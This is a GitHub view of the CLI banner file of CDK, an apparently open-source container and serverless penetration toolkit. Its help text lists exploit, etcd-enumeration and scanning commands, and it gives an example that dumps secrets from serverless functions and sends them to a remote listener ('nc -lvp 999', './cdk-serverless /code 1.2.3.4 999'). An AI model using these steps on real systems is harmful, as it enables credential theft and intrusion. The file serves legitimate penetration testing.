-
Notifications
You must be signed in to change notification settings - Fork 608
Expand file tree
/
Copy pathbanner.go
More file actions
108 lines (86 loc) 路 3.58 KB
/
Copy pathbanner.go
File metadata and controls
108 lines (86 loc) 路 3.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cli
import (
"fmt"
"log"
"os"
"github.com/cdk-team/CDK/pkg/util"
"github.com/docopt/docopt-go"
)
var Args docopt.Opts
var GitCommit string
var BannerTitle = `CDK (Container DucK)`
var BannerVersion = fmt.Sprintf("%s %s", "CDK Version(GitCommit):", GitCommit)
var BannerHeader = fmt.Sprintf(`%s
%s
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/
`, util.GreenBold.Sprint(BannerTitle), BannerVersion)
var BannerContainerTpl = BannerHeader + `
%s
cdk eva
cdk eva --full
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
%s
cdk evaluate Gather information to find weakness inside container.
cdk eva Alias of "cdk evaluate".
cdk evaluate --full Enable file scan during information gathering.
%s
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
%s
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
netstat Like "netstat -antup" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> [<data>] Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
%s
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile (basic, extended, additional).
`
// BannerContainer is the banner of CDK command line with colorful.
var BannerContainer = fmt.Sprintf(
BannerContainerTpl,
"Usage:",
util.GreenBold.Sprint("Evaluate:"),
util.GreenBold.Sprint("Exploit:"),
util.GreenBold.Sprint("Tool:"),
"Options:",
)
var BannerServerless = BannerHeader + `
THIS IS THE SLIM VERSION FOR DUMPING SECRET/AK IN SERVERLESS FUNCTIONS.
sessions in serverless functions will be killed in seconds, use this tool to dump AK/secrets in the fast way.
Usage:
cdk-serverless <scan-dir> <remote-ip> <port>
Args:
scan-dir Read all files under target dir and dump AK token.
remote-ip,port Send results to target IP:PORT via TCP tunnel.
Example:
1. public server(e.g. 1.2.3.4) start listen tcp port 999 using "nc -lvp 999"
2. inside serverless function service execute "./cdk-serverless /code 1.2.3.4 999"
`
func parseDocopt() {
args, err := docopt.ParseArgs(BannerContainer, os.Args[1:], BannerVersion)
if err != nil {
log.Fatalln("docopt err: ", err)
}
Args = args
}